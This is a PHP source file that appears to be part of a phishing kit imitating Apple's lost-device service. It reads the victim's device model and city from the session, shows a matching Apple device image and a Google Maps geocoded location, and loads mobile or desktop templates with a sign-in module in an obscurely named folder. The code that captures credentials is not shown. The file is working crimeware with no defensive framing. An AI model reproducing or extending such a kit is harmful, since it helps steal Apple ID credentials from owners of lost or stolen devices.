<?php
	
require_once("../includes/apple3.php");

require_once("../visit.php");
	

$loca = $_SESSION['script_id'];
if (strpos($loca, '43') !== false) {
    $loc = $city;
} elseif (strpos($loca, '44') !== false) {
     $loc = $_SESSION['city'];
	
} else {
    $loc = $city;
}	
	
	
	
	$model = $_SESSION['model'];
if (strpos($model, 'iPhone') !== false) {
    $img = './tZ8V8/img/lost.png';
} elseif (strpos($model, 'iPad') !== false) {
    $img = './tZ8V8/img/ipad.png';
} elseif (strpos($model, 'Macbook') !== false) {
    $img = './tZ8V8/img/mac.png';
} elseif (strpos($model, 'Watch') !== false) {
    $img = './tZ8V8/img/watch.png';
} elseif (strpos($model, 'TV') !== false) {
    $img = './tZ8V8/img/tv.png';	
	
	
} else {
    $img = './tZ8V8/img/lost.png';
}

$address = $loc;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, "https://maps.googleapis.com/maps/api/geocode/json?address=".rawurlencode($address) ."&key=$map_key");
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$json = curl_exec($curl);
curl_close($curl);
$json = json_decode($json);
$lat = $json->results[0]->geometry->location->lat;
$lng = $json->results[0]->geometry->location->lng;
if (empty($lat) ||empty($lng)) {
$lat = $lat; //file_get_contents("lat.txt");
$lng = $long;//file_get_contents("lng.txt");
}
	
	function isMobileDevice(){
		return preg_match("/(android|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);
	}
	
	$isMobile = (int) isMobileDevice();
	
	$module = "./tZ8V8/signin.php";
	
	if(isMobileDevice()){
		include("mobile.php");
	}else{
		include("desktop.php");
	}
	
	
?>
